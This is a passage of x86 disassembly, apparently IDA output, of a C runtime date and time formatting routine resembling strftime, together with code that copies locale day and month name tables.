eax cmp dword ptr [ebp-4], 0 jz loc_4377DB mov ecx, [ebp-4] mov [ebp-14h], ecx mov dword ptr [ebp-10h], 0 jmp short loc_437756 ; --------------------------------------------------------------------------- loc_43774D: ; CODE XREF: _0:004377CAj mov edx, [ebp-10h] add edx, 1 mov [ebp-10h], edx loc_437756: ; CODE XREF: _0:0043774Bj cmp dword ptr [ebp-10h], 0Ch jnb short loc_4377CC mov eax, [ebp-14h] mov byte ptr [eax], 3Ah mov ecx, [ebp-14h] add ecx, 1 mov [ebp-14h], ecx mov edx, [ebp-10h] mov eax, [ebp-0Ch] mov ecx, [eax+edx*4+38h] push ecx mov edx, [ebp-14h] push edx call sub_41F620 add esp, 8 push eax call sub_41BC70 add esp, 4 mov ecx, [ebp-14h] add ecx, eax mov [ebp-14h], ecx mov edx, [ebp-14h] mov byte ptr [edx], 3Ah mov eax, [ebp-14h] add eax, 1 mov [ebp-14h], eax mov ecx, [ebp-10h] mov edx, [ebp-0Ch] mov eax, [edx+ecx*4+68h] push eax mov ecx, [ebp-14h] push ecx call sub_41F620 add esp, 8 push eax call sub_41BC70 add esp, 4 mov edx, [ebp-14h] add edx, eax mov [ebp-14h], edx jmp short loc_43774D ; --------------------------------------------------------------------------- loc_4377CC: ; CODE XREF: _0:0043775Aj mov eax, [ebp-14h] mov byte ptr [eax], 0 mov ecx, [ebp-14h] add ecx, 1 mov [ebp-14h], ecx loc_4377DB: ; CODE XREF: _0:00437738j mov eax, [ebp-4] pop esi mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 18h push esi mov eax, ds:off_454D28 mov [ebp-0Ch], eax mov dword ptr [ebp-8], 0 mov dword ptr [ebp-10h], 0 jmp short loc_437818 ; --------------------------------------------------------------------------- loc_43780F: ; CODE XREF: _0:0043784Fj mov ecx, [ebp-10h] add ecx, 1 mov [ebp-10h], ecx loc_437818: ; CODE XREF: _0:0043780Dj cmp dword ptr [ebp-10h], 7 jnb short loc_437851 mov edx, [ebp-10h] mov eax, [ebp-0Ch] mov ecx, [eax+edx*4] push ecx call sub_41BC70 add esp, 4 mov esi, eax mov edx, [ebp-10h] mov eax, [ebp-0Ch] mov ecx, [eax+edx*4+1Ch] push ecx call sub_41BC70 add esp, 4 add eax, [ebp-8] lea edx, [eax+esi+2] mov [ebp-8], edx jmp short loc_43780F ; --------------------------------------------------------------------------- loc_437851: ; CODE XREF: _0:0043781Cj mov dword ptr [ebp-10h], 0 jmp short loc_437863 ; --------------------------------------------------------------------------- loc_43785A: ; CODE XREF: _0:0043789Bj mov eax, [ebp-10h] add eax, 1 mov [ebp-10h], eax loc_437863: ; CODE XREF: _0:00437858j cmp dword ptr [ebp-10h], 0Ch jnb short loc_43789D mov ecx, [ebp-10h] mov edx, [ebp-0Ch] mov eax, [edx+ecx*4+38h] push eax call sub_41BC70 add esp, 4 mov esi, eax mov ecx, [ebp-10h] mov edx, [ebp-0Ch] mov eax, [edx+ecx*4+68h] push eax call sub_41BC70 add esp, 4 add eax, [ebp-8] lea ecx, [eax+esi+2] mov [ebp-8], ecx jmp short loc_43785A ; --------------------------------------------------------------------------- loc_43789D: ; CODE XREF: _0:00437867j mov edx, [ebp-0Ch] mov eax, [edx+98h] push eax call sub_41BC70 add esp, 4 mov esi, eax mov ecx, [ebp-0Ch] mov edx, [ecx+9Ch] push edx call sub_41BC70 add esp, 4 add eax, [ebp-8] lea eax, [eax+esi+2] mov [ebp-8], eax mov ecx, [ebp-0Ch] mov edx, [ecx+0A0h] push edx call sub_41BC70 add esp, 4 mov ecx, [ebp-8] lea edx, [ecx+eax+1] mov [ebp-8], edx mov eax, [ebp-0Ch] mov ecx, [eax+0A4h] push ecx call sub_41BC70 add esp, 4 mov edx, [ebp-8] lea eax, [edx+eax+1] mov [ebp-8], eax mov ecx, [ebp-0Ch] mov edx, [ecx+0A8h] push edx call sub_41BC70 add esp, 4 mov ecx, [ebp-8] lea edx, [ecx+eax+1] mov [ebp-8], edx mov eax, [ebp-8] add eax, 0ACh push eax call sub_41BE40 add esp, 4 mov [ebp-4], eax cmp dword ptr [ebp-4], 0 jz loc_437B56 mov ecx, [ebp-4] mov [ebp-18h], ecx mov edx, [ebp-4] add edx, 0ACh mov [ebp-14h], edx push 0ACh mov eax, ds:off_454D28 push eax mov ecx, [ebp-4] push ecx call sub_41FBF0 add esp, 0Ch mov dword ptr [ebp-10h], 0 jmp short loc_43797A ; --------------------------------------------------------------------------- loc_437971: ; CODE XREF: _0:004379ECj mov edx, [ebp-10h] add edx, 1 mov [ebp-10h], edx loc_43797A: ; CODE XREF: _0:0043796Fj cmp dword ptr [ebp-10h], 7 jnb short loc_4379EE mov eax, [ebp-10h] mov ecx, [ebp-18h] mov edx, [ebp-14h] mov [ecx+eax*4], edx mov eax, [ebp-10h] mov ecx, [ebp-0Ch] mov edx, [ecx+eax*4] push edx mov eax, [ebp-14h] push eax call sub_41F620 add esp, 8 push eax call sub_41BC70 add esp, 4 mov ecx, [ebp-14h] lea edx, [ecx+eax+1] mov [ebp-14h], edx mov eax, [ebp-10h] mov ecx, [ebp-18h] mov edx, [ebp-14h] mov [ecx+eax*4+1Ch], edx mov eax, [ebp-10h] mov ecx, [ebp-0Ch] mov edx, [ecx+eax*4+1Ch] push edx mov eax, [ebp-14h] push eax call sub_41F620 add esp, 8 push eax call sub_41BC70 add esp, 4 mov ecx, [ebp-14h] lea edx, [ecx+eax+1] mov [ebp-14h], edx jmp short loc_437971 ; --------------------------------------------------------------------------- loc_4379EE: ; CODE XREF: _0:0043797Ej mov dword ptr [ebp-10h], 0 jmp short loc_437A00 ; --------------------------------------------------------------------------- loc_4379F7: ; CODE XREF: _0:00437A74j mov eax, [ebp-10h] add eax, 1 mov [ebp-10h], eax loc_437A00: ; CODE XREF: _0:004379F5j cmp dword ptr [ebp-10h], 0Ch jnb short loc_437A76 mov ecx, [ebp-10h] mov edx, [ebp-18h] mov eax, [ebp-14h] mov [edx+ecx*4+38h], eax mov ecx, [ebp-10h] mov edx, [ebp-0Ch] mov eax, [edx+ecx*4+38h] push eax mov ecx, [ebp-14h] push ecx call sub_41F620 add esp, 8 push eax call sub_41BC70 add esp, 4 mov edx, [ebp-14h] lea eax, [edx+eax+1] mov [ebp-14h], eax mov ecx, [ebp-10h] mov edx, [ebp-18h] mov eax, [ebp-14h] mov [edx+ecx*4+68h], eax mov ecx, [ebp-10h] mov edx, [ebp-0Ch] mov eax, [edx+ecx*4+68h] push eax mov ecx, [ebp-14h] push ecx call sub_41F620 add esp, 8 push eax call sub_41BC70 add esp, 4 mov edx, [ebp-14h] lea eax, [edx+eax+1] mov [ebp-14h], eax jmp short loc_4379F7 ; --------------------------------------------------------------------------- loc_437A76: ; CODE XREF: _0:00437A04j mov ecx, [ebp-18h] mov edx, [ebp-14h] mov [ecx+98h], edx mov eax, [ebp-0Ch] mov ecx, [eax+98h] push ecx mov edx, [ebp-14h] push edx call sub_41F620 add esp, 8 push eax call sub_41BC70 add esp, 4 mov ecx, [ebp-14h] lea edx, [ecx+eax+1] mov [ebp-14h], edx mov eax, [ebp-18h] mov ecx, [ebp-14h] mov [eax+9Ch], ecx mov edx, [ebp-0Ch] mov eax, [edx+9Ch] push eax mov ecx, [ebp-14h] push ecx call sub_41F620 add esp, 8 push eax call sub_41BC70 add esp, 4 mov edx, [ebp-14h] lea eax, [edx+eax+1] mov [ebp-14h], eax mov ecx, [ebp-18h] mov edx, [ebp-14h] mov [ecx+0A0h], edx mov eax, [ebp-0Ch] mov ecx, [eax+0A0h] push ecx mov edx, [ebp-14h] push edx call sub_41F620 add esp, 8 push eax call sub_41BC70 add esp, 4 mov ecx, [ebp-14h] lea edx, [ecx+eax+1] mov [ebp-14h], edx mov eax, [ebp-18h] mov ecx, [ebp-14h] mov [eax+0A4h], ecx mov edx, [ebp-0Ch] mov eax, [edx+0A4h] push eax mov ecx, [ebp-14h] push ecx call sub_41F620 add esp, 8 push eax call sub_41BC70 add esp, 4 mov edx, [ebp-14h] lea eax, [edx+eax+1] mov [ebp-14h], eax mov ecx, [ebp-18h] mov edx, [ebp-14h] mov [ecx+0A8h], edx loc_437B56: ; CODE XREF: _0:00437939j mov eax, [ebp-4] pop esi mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 0 mov eax, [ebp+14h] push eax mov ecx, [ebp+10h] push ecx mov edx, [ebp+0Ch] push edx mov eax, [ebp+8] push eax call sub_437B80 add esp, 14h pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_437B80 proc near ; CODE XREF: _0:00437B75p var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_4] mov [ebp+var_C], eax push offset dword_4F37C8 call ds:dword_4F5488 ; InterlockedIncrement cmp ds:dword_4F37C4, 0 jz short loc_437BBE push offset dword_4F37C8 call ds:dword_4F5484 ; InterlockedDecrement push 13h call sub_423280 add esp, 4 mov [ebp+var_8], 1 jmp short loc_437BC5 ; --------------------------------------------------------------------------- loc_437BBE: ; CODE XREF: sub_437B80+1Ej mov [ebp+var_8], 0 loc_437BC5: ; CODE XREF: sub_437B80+3Cj cmp [ebp+arg_10], 0 jnz short loc_437BD6 mov ecx, ds:off_454D28 mov [ebp+var_10], ecx jmp short loc_437BDC ; --------------------------------------------------------------------------- loc_437BD6: ; CODE XREF: sub_437B80+49j mov edx, [ebp+arg_10] mov [ebp+var_10], edx loc_437BDC: ; CODE XREF: sub_437B80+54j mov eax, [ebp+var_10] mov [ebp+var_4], eax loc_437BE2: ; CODE XREF: sub_437B80:loc_437CCEj cmp [ebp+var_C], 0 jbe loc_437CD3 mov ecx, [ebp+arg_8] mov dl, [ecx] mov [ebp+var_14], dl cmp [ebp+var_14], 0 jz short loc_437C02 cmp [ebp+var_14], 25h jz short loc_437C07 jmp short loc_437C61 ; --------------------------------------------------------------------------- loc_437C02: ; CODE XREF: sub_437B80+78j jmp loc_437CD3 ; --------------------------------------------------------------------------- loc_437C07: ; CODE XREF: sub_437B80+7Ej mov eax, [ebp+arg_8] add eax, 1 mov [ebp+arg_8], eax mov ds:dword_4F36A0, 0 mov ecx, [ebp+arg_8] movsx edx, byte ptr [ecx] cmp edx, 23h jnz short loc_437C38 mov ds:dword_4F36A0, 1 mov eax, [ebp+arg_8] add eax, 1 mov [ebp+arg_8], eax loc_437C38: ; CODE XREF: sub_437B80+A3j mov ecx, [ebp+var_4] push ecx lea edx, [ebp+var_C] push edx lea eax, [ebp+arg_0] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] mov al, [edx] push eax call sub_437D10 add esp, 14h mov ecx, [ebp+arg_8] add ecx, 1 mov [ebp+arg_8], ecx jmp short loc_437CCE ; --------------------------------------------------------------------------- loc_437C61: ; CODE XREF: sub_437B80+80j mov edx, [ebp+arg_8] xor eax, eax mov al, [edx] mov ecx, ds:off_453BE4 xor edx, edx mov dx, [ecx+eax*2] and edx, 8000h test edx, edx jz short loc_437CA9 cmp [ebp+var_C], 1 jbe short loc_437CA9 mov eax, [ebp+arg_0] mov ecx, [ebp+arg_8] mov dl, [ecx] mov [eax], dl mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax mov ecx, [ebp+arg_8] add ecx, 1 mov [ebp+arg_8], ecx mov edx, [ebp+var_C] sub edx, 1 mov [ebp+var_C], edx loc_437CA9: ; CODE XREF: sub_437B80+FCj ; sub_437B80+102j mov eax, [ebp+arg_0] mov ecx, [ebp+arg_8] mov dl, [ecx] mov [eax], dl mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax mov ecx, [ebp+arg_8] add ecx, 1 mov [ebp+arg_8], ecx mov edx, [ebp+var_C] sub edx, 1 mov [ebp+var_C], edx loc_437CCE: ; CODE XREF: sub_437B80+DFj jmp loc_437BE2 ; --------------------------------------------------------------------------- loc_437CD3: ; CODE XREF: sub_437B80+66j ; sub_437B80:loc_437C02j cmp [ebp+var_8], 0 jz short loc_437CE5 push 13h call sub_423320 add esp, 4 jmp short loc_437CF0 ; --------------------------------------------------------------------------- loc_437CE5: ; CODE XREF: sub_437B80+157j push offset dword_4F37C8 call ds:dword_4F5484 ; InterlockedDecrement loc_437CF0: ; CODE XREF: sub_437B80+163j cmp [ebp+var_C], 0 jbe short loc_437D04 mov eax, [ebp+arg_0] mov byte ptr [eax], 0 mov eax, [ebp+arg_4] sub eax, [ebp+var_C] jmp short loc_437D06 ; --------------------------------------------------------------------------- loc_437D04: ; CODE XREF: sub_437B80+174j xor eax, eax loc_437D06: ; CODE XREF: sub_437B80+182j mov esp, ebp pop ebp retn sub_437B80 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_437D10 proc near ; CODE XREF: sub_437B80+CEp ; sub_4384E0+3ECp var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 0Ch push esi movsx eax, [ebp+arg_0] mov [ebp+var_C], eax mov ecx, [ebp+var_C] sub ecx, 25h mov [ebp+var_C], ecx cmp [ebp+var_C], 55h ja loc_438278 mov eax, [ebp+var_C] xor edx, edx mov dl, byte_4382D9[eax] jmp off_43827D[edx*4] loc_437D43: ; DATA XREF: _0:004382ADo mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] mov ecx, [eax+18h] mov edx, [ebp+arg_10] mov eax, [edx+ecx*4] push eax call sub_438330 add esp, 0Ch jmp loc_438278 ; --------------------------------------------------------------------------- loc_437D65: ; CODE XREF: sub_437D10+2Cj ; DATA XREF: _0:00438281o mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] mov ecx, [eax+18h] mov edx, [ebp+arg_10] mov eax, [edx+ecx*4+1Ch] push eax call sub_438330 add esp, 0Ch jmp loc_438278 ; --------------------------------------------------------------------------- loc_437D88: ; CODE XREF: sub_437D10+2Cj ; DATA XREF: _0:004382B1o mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] mov ecx, [eax+10h] mov edx, [ebp+arg_10] mov eax, [edx+ecx*4+38h] push eax call sub_438330 add esp, 0Ch jmp loc_438278 ; --------------------------------------------------------------------------- loc_437DAB: ; CODE XREF: sub_437D10+2Cj ; DATA XREF: _0:00438285o mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] mov ecx, [eax+10h] mov edx, [ebp+arg_10] mov eax, [edx+ecx*4+68h] push eax call sub_438330 add esp, 0Ch jmp loc_438278 ; --------------------------------------------------------------------------- loc_437DCE: ; CODE XREF: sub_437D10+2Cj ; DATA XREF: _0:004382B5o cmp ds:dword_4F36A0, 0 jz short loc_437E56 mov ds:dword_4F36A0, 0 mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_10] mov eax, [edx+0A4h] push eax call sub_4384E0 add esp, 14h mov ecx, [ebp+arg_C] cmp dword ptr [ecx], 0 jnz short loc_437E10 jmp loc_438278 ; --------------------------------------------------------------------------- loc_437E10: ; CODE XREF: sub_437D10+F9j mov edx, [ebp+arg_8] mov eax, [edx] mov byte ptr [eax], 20h mov ecx, [ebp+arg_8] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_8] mov [eax], edx mov ecx, [ebp+arg_C] mov edx, [ecx] sub edx, 1 mov eax, [ebp+arg_C] mov [eax], edx mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_10] mov eax, [edx+0A8h] push eax call sub_4384E0 add esp, 14h jmp short loc_437EC9 ; --------------------------------------------------------------------------- loc_437E56: ; CODE XREF: sub_437D10+C5j mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_10] mov eax, [edx+0A0h] push eax call sub_4384E0 add esp, 14h mov ecx, [ebp+arg_C] cmp dword ptr [ecx], 0 jnz short loc_437E85 jmp loc_438278 ; --------------------------------------------------------------------------- loc_437E85: ; CODE XREF: sub_437D10+16Ej mov edx, [ebp+arg_8] mov eax, [edx] mov byte ptr [eax], 20h mov ecx, [ebp+arg_8] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_8] mov [eax], edx mov ecx, [ebp+arg_C] mov edx, [ecx] sub edx, 1 mov eax, [ebp+arg_C] mov [eax], edx mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_10] mov eax, [edx+0A8h] push eax call sub_4384E0 add esp, 14h loc_437EC9: ; CODE XREF: sub_437D10+144j jmp loc_438278 ; --------------------------------------------------------------------------- loc_437ECE: ; CODE XREF: sub_437D10+2Cj ; DATA XREF: _0:004382B9o mov ecx, ds:dword_4F36A0 mov ds:dword_4F36A4, ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax push 2 mov ecx, [ebp+arg_4] mov edx, [ecx+0Ch] push edx call sub_438380 add esp, 10h jmp loc_438278 ; --------------------------------------------------------------------------- loc_437EF8: ; CODE XREF: sub_437D10+2Cj ; DATA XREF: _0:00438289o mov eax, ds:dword_4F36A0 mov ds:dword_4F36A4, eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx push 2 mov eax, [ebp+arg_4] mov ecx, [eax+8] push ecx call sub_438380 add esp, 10h jmp loc_438278 ; --------------------------------------------------------------------------- loc_437F20: ; CODE XREF: sub_437D10+2Cj ; DATA XREF: _0:0043828Do mov edx, ds:dword_4F36A0 mov ds:dword_4F36A4, edx mov eax, [ebp+arg_4] mov eax, [eax+8] cdq mov ecx, 0Ch idiv ecx mov [ebp+var_4], edx cmp [ebp+var_4], 0 jnz short loc_437F4A mov [ebp+var_4], 0Ch loc_437F4A: ; CODE XREF: sub_437D10+231j mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax push 2 mov ecx, [ebp+var_4] push ecx call sub_438380 add esp, 10h jmp loc_438278 ; --------------------------------------------------------------------------- loc_437F65: ; CODE XREF: sub_437D10+2Cj ; DATA XREF: _0:004382BDo mov edx, ds:dword_4F36A0 mov ds:dword_4F36A4, edx mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx push 3 mov edx, [ebp+arg_4] mov eax, [edx+1Ch] add eax, 1 push eax call sub_438380 add esp, 10h jmp loc_438278 ; --------------------------------------------------------------------------- loc_437F92: ; CODE XREF: sub_437D10+2Cj ; DATA XREF: _0:004382C1o mov ecx, ds:dword_4F36A0 mov ds:dword_4F36A4, ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax push 2 mov ecx, [ebp+arg_4] mov edx, [ecx+10h] add edx, 1 push edx call sub_438380 add esp, 10h jmp loc_438278 ; --------------------------------------------------------------------------- loc_437FBF: ; CODE XREF: sub_437D10+2Cj ; DATA XREF: _0:00438291o mov eax, ds:dword_4F36A0 mov ds:dword_4F36A4, eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx push 2 mov eax, [ebp+arg_4] mov ecx, [eax+4] push ecx call sub_438380 add esp, 10h jmp loc_438278 ; --------------------------------------------------------------------------- loc_437FE7: ; CODE XREF: sub_437D10+2Cj ; DATA XREF: _0:004382C5o mov edx, [ebp+arg_4] cmp dword ptr [edx+8], 0Bh jg short loc_43800C mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_10] mov eax, [edx+98h] push eax call sub_438330 add esp, 0Ch jmp short loc_438026 ; --------------------------------------------------------------------------- loc_43800C: ; CODE XREF: sub_437D10+2DEj mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_10] mov ecx, [eax+9Ch] push ecx call sub_438330 add esp, 0Ch loc_438026: ; CODE XREF: sub_437D10+2FAj jmp loc_438278 ; --------------------------------------------------------------------------- loc_43802B: ; CODE XREF: sub_437D10+2Cj ; DATA XREF: _0:00438295o mov edx, ds:dword_4F36A0 mov ds:dword_4F36A4, edx mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx push 2 mov edx, [ebp+arg_4] mov eax, [edx] push eax call sub_438380 add esp, 10h jmp loc_438278 ; --------------------------------------------------------------------------- loc_438054: ; CODE XREF: sub_437D10+2Cj ; DATA XREF: _0:00438299o mov ecx, ds:dword_4F36A0 mov ds:dword_4F36A4, ecx mov edx, [ebp+arg_4] mov eax, [edx+18h] mov [ebp+var_8], eax jmp short loc_4380BD ; --------------------------------------------------------------------------- loc_43806B: ; CODE XREF: sub_437D10+2Cj ; DATA XREF: _0:004382C9o mov ecx, ds:dword_4F36A0 mov ds:dword_4F36A4, ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax push 1 mov ecx, [ebp+arg_4] mov edx, [ecx+18h] push edx call sub_438380 add esp, 10h jmp loc_438278 ; --------------------------------------------------------------------------- loc_438095: ; CODE XREF: sub_437D10+2Cj ; DATA XREF: _0:0043829Do mov eax, ds:dword_4F36A0 mov ds:dword_4F36A4, eax mov ecx, [ebp+arg_4] cmp dword ptr [ecx+18h], 0 jnz short loc_4380B1 mov [ebp+var_8], 6 jmp short loc_4380BD ; --------------------------------------------------------------------------- loc_4380B1: ; CODE XREF: sub_437D10+396j mov edx, [ebp+arg_4] mov eax, [edx+18h] sub eax, 1 mov [ebp+var_8], eax loc_4380BD: ; CODE XREF: sub_437D10+359j ; sub_437D10+39Fj mov ecx, [ebp+arg_4] mov edx, [ecx+1Ch] cmp edx, [ebp+var_8] jge short loc_4380D1 mov [ebp+var_4], 0 jmp short loc_4380FE ; --------------------------------------------------------------------------- loc_4380D1: ; CODE XREF: sub_437D10+3B6j mov eax, [ebp+arg_4] mov eax, [eax+1Ch] cdq mov ecx, 7 idiv ecx mov [ebp+var_4], eax mov edx, [ebp+arg_4] mov eax, [edx+1Ch] cdq mov ecx, 7 idiv ecx cmp edx, [ebp+var_8] jl short loc_4380FE mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_4380FE: ; CODE XREF: sub_437D10+3BFj ; sub_437D10+3E3j mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx push 2 mov edx, [ebp+var_4] push edx call sub_438380 add esp, 10h jmp loc_438278 ; --------------------------------------------------------------------------- loc_438119: ; CODE XREF: sub_437D10+2Cj ; DATA XREF: _0:004382CDo cmp ds:dword_4F36A0, 0 jz short loc_438150 mov ds:dword_4F36A0, 0 mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_10] mov edx, [ecx+0A4h] push edx call sub_4384E0 add esp, 14h jmp short loc_438172 ; --------------------------------------------------------------------------- loc_438150: ; CODE XREF: sub_437D10+410j mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_10] mov edx, [ecx+0A0h] push edx call sub_4384E0 add esp, 14h loc_438172: ; CODE XREF: sub_437D10+43Ej jmp loc_438278 ; --------------------------------------------------------------------------- loc_438177: ; CODE XREF: sub_437D10+2Cj ; DATA XREF: _0:004382A1o mov ds:dword_4F36A0, 0 mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_10] mov edx, [ecx+0A8h] push edx call sub_4384E0 add esp, 14h jmp loc_438278 ; --------------------------------------------------------------------------- loc_4381A8: ; CODE XREF: sub_437D10+2Cj ; DATA XREF: _0:004382D1o mov eax, ds:dword_4F36A0 mov ds:dword_4F36A4, eax mov ecx, [ebp+arg_4] mov eax, [ecx+14h] cdq mov ecx, 64h idiv ecx mov [ebp+var_4], edx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax push 2 mov ecx, [ebp+var_4] push ecx call sub_438380 add esp, 10h jmp loc_438278 ; --------------------------------------------------------------------------- loc_4381DE: ; CODE XREF: sub_437D10+2Cj ; DATA XREF: _0:004382A5o mov edx, ds:dword_4F36A0 mov ds:dword_4F36A4, edx mov eax, [ebp+arg_4] mov eax, [eax+14h] cdq mov ecx, 64h idiv ecx mov ecx, eax add ecx, 13h imul ecx, 64h mov edx, [ebp+arg_4] mov eax, [edx+14h] cdq mov esi, 64h idiv esi add ecx, edx mov [ebp+var_4], ecx mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx push 4 mov edx, [ebp+var_4] push edx call sub_438380 add esp, 10h jmp short loc_438278 ; --------------------------------------------------------------------------- loc_43822B: ; CODE XREF: sub_437D10+2Cj ; DATA XREF: _0:004382A9o call sub_433030 mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] xor eax, eax cmp dword ptr [edx+20h], 0 setnz al mov ecx, ds:off_454514[eax*4] push ecx call sub_438330 add esp, 0Ch jmp short loc_438278 ; --------------------------------------------------------------------------- loc_438256: ; CODE XREF: sub_437D10+2Cj ; DATA XREF: _0:off_43827Do mov edx, [ebp+arg_8] mov eax, [edx] mov byte ptr [eax], 25h mov ecx, [ebp+arg_8] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_8] mov [eax], edx mov ecx, [ebp+arg_C] mov edx, [ecx] sub edx, 1 mov eax, [ebp+arg_C] mov [eax], edx loc_438278: ; CODE XREF: sub_437D10+1Bj ; sub_437D10+2Cj ... pop esi mov esp, ebp pop ebp retn sub_437D10 endp ; --------------------------------------------------------------------------- off_43827D dd offset loc_438256 ; DATA XREF: sub_437D10+2Cr dd offset loc_437D65 dd offset loc_437DAB dd offset loc_437EF8 dd offset loc_437F20 dd offset loc_437FBF dd offset loc_43802B dd offset loc_438054 dd offset loc_438095 dd offset loc_438177 dd offset loc_4381DE dd offset loc_43822B dd offset loc_437D43 dd offset loc_437D88 dd offset loc_437DCE dd offset loc_437ECE dd offset loc_437F65 dd offset loc_437F92 dd offset loc_437FE7 dd offset loc_43806B dd offset loc_438119 dd offset loc_4381A8 dd offset loc_438278 byte_4382D9 db 0 ; DATA XREF: sub_437D10+26r dw 1616h dd 6 dup(16161616h), 16020116h, 16161616h, 16160403h, 16160516h dd 6161616h, 8160716h, 160B0A09h, 16161616h, 0E0D0C16h dd 1616160Fh, 16101616h, 16161116h, 16161612h, 13161616h dd 0CC0B1514h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_438330 proc near ; CODE XREF: sub_437D10+48p ; sub_437D10+6Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp loc_438333: ; CODE XREF: sub_438330+44j mov eax, [ebp+arg_8] cmp dword ptr [eax], 0 jz short loc_438376 mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx] test edx, edx jz short loc_438376 mov eax, [ebp+arg_4] mov ecx, [eax] mov edx, [ebp+arg_0] mov al, [edx] mov [ecx], al mov ecx, [ebp+arg_4] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_4] mov [eax], edx mov ecx, [ebp+arg_0] add ecx, 1 mov [ebp+arg_0], ecx mov edx, [ebp+arg_8] mov eax, [edx] sub eax, 1 mov ecx, [ebp+arg_8] mov [ecx], eax jmp short loc_438333 ; --------------------------------------------------------------------------- loc_438376: ; CODE XREF: sub_438330+9j ; sub_438330+13j pop ebp retn sub_438330 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_438380 proc near ; CODE XREF: sub_437D10+1DBp ; sub_437D10+203p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov [ebp+var_4], 0 cmp ds:dword_4F36A4, 0 jz short loc_4383AA mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_0] push edx call sub_438430 add esp, 0Ch jmp short loc_438429 ; --------------------------------------------------------------------------- loc_4383AA: ; CODE XREF: sub_438380+12j mov eax, [ebp+arg_C] mov ecx, [ebp+arg_4] cmp ecx, [eax] jnb short loc_438420 mov edx, [ebp+arg_4] sub edx, 1 mov [ebp+arg_4], edx jmp short loc_4383C8 ; --------------------------------------------------------------------------- loc_4383BF: ; CODE XREF: sub_438380+82j mov eax, [ebp+arg_4] sub eax, 1 mov [ebp+arg_4], eax loc_4383C8: ; CODE XREF: sub_438380+3Dj mov ecx, [ebp+arg_4] add ecx, 1 test ecx, ecx jz short loc_438404 mov eax, [ebp+arg_0] cdq mov ecx, 0Ah idiv ecx add edx, 30h mov eax, [ebp+arg_8] mov ecx, [eax] mov eax, [ebp+arg_4] mov [ecx+eax], dl mov 